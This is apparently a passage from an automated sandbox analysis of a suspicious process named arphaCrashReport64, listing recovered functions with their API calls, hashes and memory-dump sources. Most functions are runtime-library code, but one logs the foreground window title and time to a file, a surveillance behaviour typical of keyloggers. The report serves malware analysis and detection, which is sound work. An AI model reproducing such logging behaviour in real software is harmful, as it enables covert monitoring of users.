Instruction ID: 06d305901fec2e7e3b01c2caaa536e7cab279ee42647e6989b9cc4ff19f8388d
Opcode Fuzzy Hash: ec827b053d5fad73fcf0492e3d2725338dc407ece077524a1dae6e7b927291dc
Instruction Fuzzy Hash: 3E51A170A14B1D8FEB54EFA9D8D97EDB7E1EF28300F60011EA549D3192DAB0A585CB81

Function 00000210AE1DCA18 Relevance: 7.7, APIs: 5, Instructions: 175COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE1E2C48: malloc.LIBCMT ref: 00000210AE1E2C62

std::exception::exception.LIBCMT ref: 00000210AE1DCAC3
free.LIBCMT ref: 00000210AE1DCB45
free.LIBCMT ref: 00000210AE1DCB57
free.LIBCMT ref: 00000210AE1DCB69
free.LIBCMT ref: 00000210AE1DCB7B

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: free$mallocstd::exception::exception
String ID:
API String ID: 4069110180-0
Opcode ID: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction ID: 400e98d83935c1ea8f780ee8c625f58f68580abae9ac0d9aa9ebe2ff8d6c8ca1
Opcode Fuzzy Hash: 07180e9b4d2e60f22a41465041aba0a5742f0305ed2e05aa6cee22b514af3519
Instruction Fuzzy Hash: DD517070514B0D8EEB55EF59D8D5BFA77A0FF28300F20015EE949C3291DA70E945C781

Function 00000210AE4DBC3C Relevance: 7.7, APIs: 5, Instructions: 168COMMON

Download Yara Rule

APIs

free.LIBCMT ref: 00000210AE4DBCCF
__free_lconv_num.LIBCMT ref: 00000210AE4DBDA3
free.LIBCMT ref: 00000210AE4DBDAF
free.LIBCMT ref: 00000210AE4DBE5E
free.LIBCMT ref: 00000210AE4DBE6A

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: free$__free_lconv_num
String ID:
API String ID: 1547021563-0
Opcode ID: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction ID: 7d366b2f691d1efdfb8fd24e38bdb163d71e7d020ae99f7426458df8e5af0a83
Opcode Fuzzy Hash: c16b6f9737590003a136c8fcef27dda7f25507dba1af4cbde7d58d3b88c3e8cd
Instruction Fuzzy Hash: 8C6192362057848AFB649F16E8C87DD77A8FBA8B84F60402A9BCD47795DFB8C581C740

Function 00000210AE1E6B98 Relevance: 7.7, APIs: 5, Instructions: 158COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE1E6BBE
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E6BC9
_getptd.LIBCMT ref: 00000210AE1E6BD5
_lock.LIBCMT ref: 00000210AE1E6C0E
_lock.LIBCMT ref: 00000210AE1E6CA1

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction ID: f64a6e9d1af2ad2bbc0ee005742af698c3bad22b5287d13a76d6dae470e5ad53
Opcode Fuzzy Hash: 9f4985a2a933d0fc62c1a2c77e0ed4ea76d4ee0366b7b778643bc997e4b882e3
Instruction Fuzzy Hash: 6F41A5306187584BF744FB1894D97F933D2FFA8304FA44569FE8AC72D3DAA4A8818791

Function 00000210AE4D71E0 Relevance: 7.6, APIs: 5, Instructions: 105COMMON

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4D7206
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D7211
_getptd.LIBCMT ref: 00000210AE4D721D
_lock.LIBCMT ref: 00000210AE4D7256
_lock.LIBCMT ref: 00000210AE4D72E9

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _lock$_errno_getptd_invalid_parameter_noinfo
String ID:
API String ID: 2808128820-0
Opcode ID: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction ID: c458d4826fc923445a7729228a72d25e938f29314108a6a6b9ac7605fb392a11
Opcode Fuzzy Hash: f453061cc0ae8c4d2774961133183c75c1575bd9b631a75802a1a20d267780ef
Instruction Fuzzy Hash: C141453120178091FB44AB66ADCC7EE6299FFA9BD4F644129EF89477D6DEF884818310

Function 00000210AE4DA9F4 Relevance: 7.6, APIs: 5, Instructions: 102COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,00000210AE4DABAF), ref: 00000210AE4DAA4E
malloc.LIBCMT ref: 00000210AE4DAAB2
MultiByteToWideChar.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,00000210AE4DABAF), ref: 00000210AE4DAAFA
GetStringTypeW.KERNEL32(?,?,00000000,00000000,0000000A,00000008,?,00000210AE4DABAF), ref: 00000210AE4DAB11
free.LIBCMT ref: 00000210AE4DAB25

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: ByteCharMultiWide$StringTypefreemalloc
String ID:
API String ID: 307345228-0
Opcode ID: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction ID: 653b2abe562a7750845128972a3cb789bb7569fcad48858d183a8cf2f94b4132
Opcode Fuzzy Hash: ee07f6c5636d413e7892bfcbeb0f91cdd1ccbdd2d21149ca3b3503bd82049be4
Instruction Fuzzy Hash: 30415432600B8086EB109F659DC46D963D9FF68BA8F684716EFAD47BD5DF78C4818300

Function 00000210AE4E33D8 Relevance: 7.6, APIs: 5, Instructions: 87COMMON

Download Yara Rule

APIs

_ctrlfp.LIBCMT ref: 00000210AE4E3419
_exception_enabled.LIBCMT ref: 00000210AE4E343C

Part of subcall function 00000210AE4E331C: _set_statfp.LIBCMT ref: 00000210AE4E3343
Part of subcall function 00000210AE4E331C: _set_statfp.LIBCMT ref: 00000210AE4E33B6

_raise_exc.LIBCMT ref: 00000210AE4E3488
_ctrlfp.LIBCMT ref: 00000210AE4E34C8
_ctrlfp.LIBCMT ref: 00000210AE4E34F9

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _ctrlfp$_set_statfp$_exception_enabled_raise_exc
String ID:
API String ID: 3456427917-0
Opcode ID: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction ID: e3433a48fd1bdf03e7d5e0f27cd73becab634b601c0adb33d78baf4037e94eb7
Opcode Fuzzy Hash: 12a622c847374f3166387e9d70a91a980054b998477e05dec9cd0e20066f5fc0
Instruction Fuzzy Hash: 00318132614B848AE752DF25E8856EEB765FB95788F140215FF890BA59DF78C481CB00

Function 00000210AE4D3E80 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlDecodePointer.NTDLL ref: 00000210AE4D3EA9
RtlDecodePointer.NTDLL ref: 00000210AE4D3EB9

Part of subcall function 00000210AE4D846C: _errno.LIBCMT ref: 00000210AE4D8475
Part of subcall function 00000210AE4D846C: _invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D8480

RtlEncodePointer.NTDLL ref: 00000210AE4D3F37

Part of subcall function 00000210AE4D5400: realloc.LIBCMT ref: 00000210AE4D542B
Part of subcall function 00000210AE4D5400: Sleep.KERNEL32(?,?,00000000,00000210AE4D3F27,?,?,?,00000210AE4D3F95,?,?,?,?,00000210AE4D330B), ref: 00000210AE4D5447

RtlEncodePointer.NTDLL ref: 00000210AE4D3F47
RtlEncodePointer.NTDLL ref: 00000210AE4D3F54

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errno_invalid_parameter_noinforealloc
String ID:
API String ID: 1909145217-0
Opcode ID: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction ID: 524aa4d8bec3d7295bd605be69022aa75f34b261aad4cbed6fa71b73d94b176a
Opcode Fuzzy Hash: 78e45ef783413b217608e0a16efdd3366037ad4d8c45b9786596f5e959a3f801
Instruction Fuzzy Hash: 47213D31301B4481EE05AF66E9DC2D9A2A9BF68BC1F644829EF8D47795EFB8C4C5C304

Function 00007FFD944726D4 Relevance: 7.6, APIs: 5, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,00007FFD944727E5,?,?,?,?,00007FFD94472F3E,?,?,000005AA,00007FFD94471957), ref: 00007FFD944726FD
DecodePointer.KERNEL32(?,?,?,00007FFD944727E5,?,?,?,?,00007FFD94472F3E,?,?,000005AA,00007FFD94471957), ref: 00007FFD9447270C

Part of subcall function 00007FFD94474514: _errno.LIBCMT ref: 00007FFD9447451D

EncodePointer.KERNEL32(?,?,?,00007FFD944727E5,?,?,?,?,00007FFD94472F3E,?,?,000005AA,00007FFD94471957), ref: 00007FFD94472789

Part of subcall function 00007FFD94472D54: realloc.LIBCMT ref: 00007FFD94472D7F
Part of subcall function 00007FFD94472D54: Sleep.KERNEL32(?,?,00000000,00007FFD94472779,?,?,?,00007FFD944727E5,?,?,?,?,00007FFD94472F3E,?,?,000005AA), ref: 00007FFD94472D9B

EncodePointer.KERNEL32(?,?,?,00007FFD944727E5,?,?,?,?,00007FFD94472F3E,?,?,000005AA,00007FFD94471957), ref: 00007FFD94472798
EncodePointer.KERNEL32(?,?,?,00007FFD944727E5,?,?,?,?,00007FFD94472F3E,?,?,000005AA,00007FFD94471957), ref: 00007FFD944727A4

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: Pointer$Encode$Decode$Sleep_errnorealloc
String ID:
API String ID: 1310268301-0
Opcode ID: 833ce39054213573de68db77b97d1c96f5c3f0e6f124e3096409f4bbaafb4565
Instruction ID: 94b424a7087ffdd7af25940c79590ab688814620cb614b072e489e8102860ea2
Opcode Fuzzy Hash: 833ce39054213573de68db77b97d1c96f5c3f0e6f124e3096409f4bbaafb4565
Instruction Fuzzy Hash: 4D214F31B0A64640EA64EB91E6E40796351BB46B94F44C835D94D0B79FEEFCE58AC300

Function 00000210AE4CDD70 Relevance: 7.6, APIs: 5, Instructions: 61stringtimeCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32 ref: 00000210AE4CDD9F
GetWindowTextA.USER32 ref: 00000210AE4CDDBC
lstrlen.KERNEL32 ref: 00000210AE4CDDF5
GetLocalTime.KERNEL32 ref: 00000210AE4CDE04
wsprintfA.USER32 ref: 00000210AE4CDE54

Part of subcall function 00000210AE4CDCA0: WaitForSingleObject.KERNEL32 ref: 00000210AE4CDCBC
Part of subcall function 00000210AE4CDCA0: CreateFileA.KERNEL32 ref: 00000210AE4CDCEE
Part of subcall function 00000210AE4CDCA0: SetFilePointer.KERNEL32 ref: 00000210AE4CDD13
Part of subcall function 00000210AE4CDCA0: lstrlen.KERNEL32 ref: 00000210AE4CDD1C
Part of subcall function 00000210AE4CDCA0: WriteFile.KERNEL32 ref: 00000210AE4CDD39
Part of subcall function 00000210AE4CDCA0: CloseHandle.KERNEL32 ref: 00000210AE4CDD42
Part of subcall function 00000210AE4CDCA0: ReleaseMutex.KERNEL32 ref: 00000210AE4CDD54

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: File$Windowlstrlen$CloseCreateForegroundHandleLocalMutexObjectPointerReleaseSingleTextTimeWaitWritewsprintf
String ID:
API String ID: 3163932117-0
Opcode ID: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction ID: 51359871060b0c8d57364cce58c7651e7cd021ba2cb81bcd2c53a159e6023657
Opcode Fuzzy Hash: 9c2e0b957a80f6091012f204cde0cca7ec84f3484f66381548a359e3a2c0dc0e
Instruction Fuzzy Hash: 8E318F71208B4081E754DB11E8C83FAB7A5FFA9744F644015EBCA47A69EFBCC198CB04

Function 00000210AE4D98D0 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000210AE4D9907
GetCurrentProcessId.KERNEL32 ref: 00000210AE4D9912
GetCurrentThreadId.KERNEL32 ref: 00000210AE4D991E
GetTickCount.KERNEL32 ref: 00000210AE4D992A
QueryPerformanceCounter.KERNEL32 ref: 00000210AE4D993B

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction ID: 4f3616f8ab1a3f882b4e3d2d48098d05c992edb3d54e5ad54f1abf38b5ffca92
Opcode Fuzzy Hash: 3fc3725ca8a288ac075f2860f78d41a9700cbea2c759c06011dc5ba40e0d3bd0
Instruction Fuzzy Hash: 16015B31224B0082EB408F21E9C83D56368FB69F90F696620EFDE477A4DEB8C9C58300

Function 00007FFD94473F24 Relevance: 7.5, APIs: 5, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FFD94473F5B
GetCurrentProcessId.KERNEL32 ref: 00007FFD94473F66
GetCurrentThreadId.KERNEL32 ref: 00007FFD94473F72
GetTickCount.KERNEL32 ref: 00007FFD94473F7E
QueryPerformanceCounter.KERNEL32 ref: 00007FFD94473F8F

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: CurrentTime$CountCounterFilePerformanceProcessQuerySystemThreadTick
String ID:
API String ID: 1445889803-0
Opcode ID: c5648ee1173fb6256d6eab9c05b122572d875354a995a585e1bc24b4115fb78a
Instruction ID: 94dc74ab8a96b5dce0d5aa57e9944c26b8f33253e0007d5cc19f62759d97ed41
Opcode Fuzzy Hash: c5648ee1173fb6256d6eab9c05b122572d875354a995a585e1bc24b4115fb78a
Instruction Fuzzy Hash: 92018231718A4182F7608F61F8A42656360FB06BD1F44E630DE5E57799CF7CD986C300

Function 00000210AE4CE600 Relevance: 7.5, APIs: 5, Instructions: 37sleepsynchronizationthreadCOMMON

Download Yara Rule

APIs

TerminateThread.KERNEL32 ref: 00000210AE4CE625
WaitForSingleObject.KERNEL32 ref: 00000210AE4CE635
CloseHandle.KERNEL32 ref: 00000210AE4CE642
Sleep.KERNEL32 ref: 00000210AE4CE64D
CloseHandle.KERNEL32 ref: 00000210AE4CE673

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: CloseHandle$ObjectSingleSleepTerminateThreadWait
String ID:
API String ID: 3303361366-0
Opcode ID: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction ID: b7c02b40cfc639bcc0c2d49d68eb7c7a31a858c16b860ac89d44fa109f655a33
Opcode Fuzzy Hash: f04e112ffcfac24b603780264897768af899bb09a0afb112039c9e615b1336e8
Instruction Fuzzy Hash: FE110532A15B80C2EA548B25F8982E97369FBD8B40F684221DBEE03664DF78D486C300

Function 00007FFD94478380 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 143COMMONLIBRARYCODE

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00007FFD944783B1
_getptd.LIBCMT ref: 00007FFD944783D0
_CallSETranslator.LIBCMT ref: 00007FFD94478411

Part of subcall function 00007FFD944774AC: _getptd.LIBCMT ref: 00007FFD944774D3

Strings

MOC, xrefs: 00007FFD944783E6

Memory Dump Source

Source File: 00000005.00000002.3990772490.00007FFD94471000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFD94470000, based on PE: true

Associated: 00000005.00000002.3990758188.00007FFD94470000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990793597.00007FFD9447A000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990818406.00007FFD9447E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000005.00000002.3990840007.00007FFD94481000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_7ffd94470000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd$CallTranslator
String ID: MOC
API String ID: 3569367362-624257665
Opcode ID: 9f2e1f37cc34d99bd3e01c1352f4077eee576076b654561f97ed05d77557bac0
Instruction ID: ee31ec81476f4247fff62109f2967caa07e01de4e2b95eae0e93fae7618c2dbc
Opcode Fuzzy Hash: 9f2e1f37cc34d99bd3e01c1352f4077eee576076b654561f97ed05d77557bac0
Instruction Fuzzy Hash: 91617072B08AC195DA30DB55D4D03ADB7A0FB81B88F04C532EB5D47A9ADFB8E156C701

Function 00000210AE1E3A64 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 99COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE1E2CEC: _getptd.LIBCMT ref: 00000210AE1E2CFE

_errno.LIBCMT ref: 00000210AE1E3A91
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE1E3A9C

Part of subcall function 00000210AE1E8670: iswctype.LIBCMT ref: 00000210AE1E86DD

Strings

Z, xrefs: 00000210AE1E3ADA
A, xrefs: 00000210AE1E3AD4

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction ID: 75aa7e755448edaeed9cb2ba4d9e7a07be41eb427e2c4772d81eba1bc86cf5c6
Opcode Fuzzy Hash: 28c99b5ff7c153519cc676a4e33103c39524cc50a50e3399b67c0a2bdb34ff0a
Instruction Fuzzy Hash: 0331D5305147798BE7A4AB1880DC7F6B6D0FFA4310FAC065AB9DAC71D1D6A4E8C0C351

Function 00000210AE1F0EC9 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 96COMMON

Download Yara Rule

APIs

_getptd.LIBCMT ref: 00000210AE1F0ED1
_getptd.LIBCMT ref: 00000210AE1F0F93
_getptd.LIBCMT ref: 00000210AE1F0F9F

Strings

csm, xrefs: 00000210AE1F0F53

Memory Dump Source

Source File: 00000005.00000002.3990052589.00000210AE1D0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE1D0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae1d0000_arphaCrashReport64.jbxd

Similarity

API ID: _getptd
String ID: csm
API String ID: 3186804695-1018135373
Opcode ID: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction ID: 2ad9d733494a3ef976eeeabfc14db66f096897616023949eb212e51c6ab83a42
Opcode Fuzzy Hash: 3d7b47e0f6bab72505bbf465c5b16e1dcb4b87de87066540f1dd17ecd2e8909f
Instruction Fuzzy Hash: DD313E30208B148FEA64EF48D4957EA73E1FF68311F60056DE5CA83692D771BC86CB86

Function 00000210AE4E312C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 90COMMONLIBRARYCODE

Download Yara Rule

APIs

_fltout2.LIBCMT ref: 00000210AE4E3167
_errno.LIBCMT ref: 00000210AE4E3171
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4E3178

Strings

-, xrefs: 00000210AE4E3193

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_fltout2_invalid_parameter_noinfo
String ID: -
API String ID: 485257318-2547889144
Opcode ID: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction ID: dd976864695dcb480dd1fdffe7e9cbe4ff0cb18e077f574922da5ea9d0f86736
Opcode Fuzzy Hash: f15782d6f828dd88211d5f1d9bfd9215f81b2dc49f1de837d3fae0d8b09ecb77
Instruction Fuzzy Hash: F231FC3230478085EA219B65A9887DAB7A8BF65BD4F384215EFD807BD5DF7DC885C700

Function 00000210AE4D40AC Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 73COMMON

Download Yara Rule

APIs

Part of subcall function 00000210AE4D3334: _getptd.LIBCMT ref: 00000210AE4D3346

_errno.LIBCMT ref: 00000210AE4D40D9
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4D40E4

Part of subcall function 00000210AE4D8CB8: iswctype.LIBCMT ref: 00000210AE4D8D25

Strings

A, xrefs: 00000210AE4D411C
Z, xrefs: 00000210AE4D4122

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno_getptd_invalid_parameter_noinfoiswctype
String ID: A$Z
API String ID: 3686281101-4098844585
Opcode ID: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction ID: b86e8fabfd59713be4c8e7d393711b572bb3b4ce4e452323783dbe60c7068e66
Opcode Fuzzy Hash: e463f11662c860f1c4b49eded7e33c7647cd997a7b129c801fd5d77c378dd932
Instruction Fuzzy Hash: E3219372A1479182EB705B5598CD2FD76A4EB70BA0F788112EBD9077D9DEACD8C18700

Function 00000210AE4E3728 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

_errno.LIBCMT ref: 00000210AE4E3741
_invalid_parameter_noinfo.LIBCMT ref: 00000210AE4E374D
_errno.LIBCMT ref: 00000210AE4E3774

Strings

1, xrefs: 00000210AE4E37C3

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity

API ID: _errno$_invalid_parameter_noinfo
String ID: 1
API String ID: 2819658684-2212294583
Opcode ID: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction ID: b3f2b4f78ea5fe328d9c4ce702302732b6ffb4df0e68d9c054842e49b97ba78e
Opcode Fuzzy Hash: 4dcdf7c8606f53b697be72d95b9b2b5693e7dc8786f4527748fd3ec7fc62c8fe
Instruction Fuzzy Hash: C721B0B22197C085F7179B2884C83EC7A98BF65B44F7DC051D78206283DEAE8DC08310

Function 00000210AE4D3290 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 39COMMONLIBRARYCODE

Download Yara Rule

APIs

_callnewh.LIBCMT ref: 00000210AE4D329E
malloc.LIBCMT ref: 00000210AE4D32AA

Part of subcall function 00000210AE4D5728: _FF_MSGBANNER.LIBCMT ref: 00000210AE4D5758
Part of subcall function 00000210AE4D5728: RtlAllocateHeap.NTDLL ref: 00000210AE4D577D
Part of subcall function 00000210AE4D5728: _callnewh.LIBCMT ref: 00000210AE4D5796
Part of subcall function 00000210AE4D5728: _errno.LIBCMT ref: 00000210AE4D57A1
Part of subcall function 00000210AE4D5728: _errno.LIBCMT ref: 00000210AE4D57AC

std::exception::exception.LIBCMT ref: 00000210AE4D3317

Strings

bad allocation, xrefs: 00000210AE4D32E7

Memory Dump Source

Source File: 00000005.00000002.3990304503.00000210AE4C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00000210AE4C0000, based on PE: true

Associated: 00000005.00000002.3990304503.00000210AE4E8000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.3990304503.00000210AE7A1000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_210ae4c0000_arphaCrashReport64.jbxd

Similarity
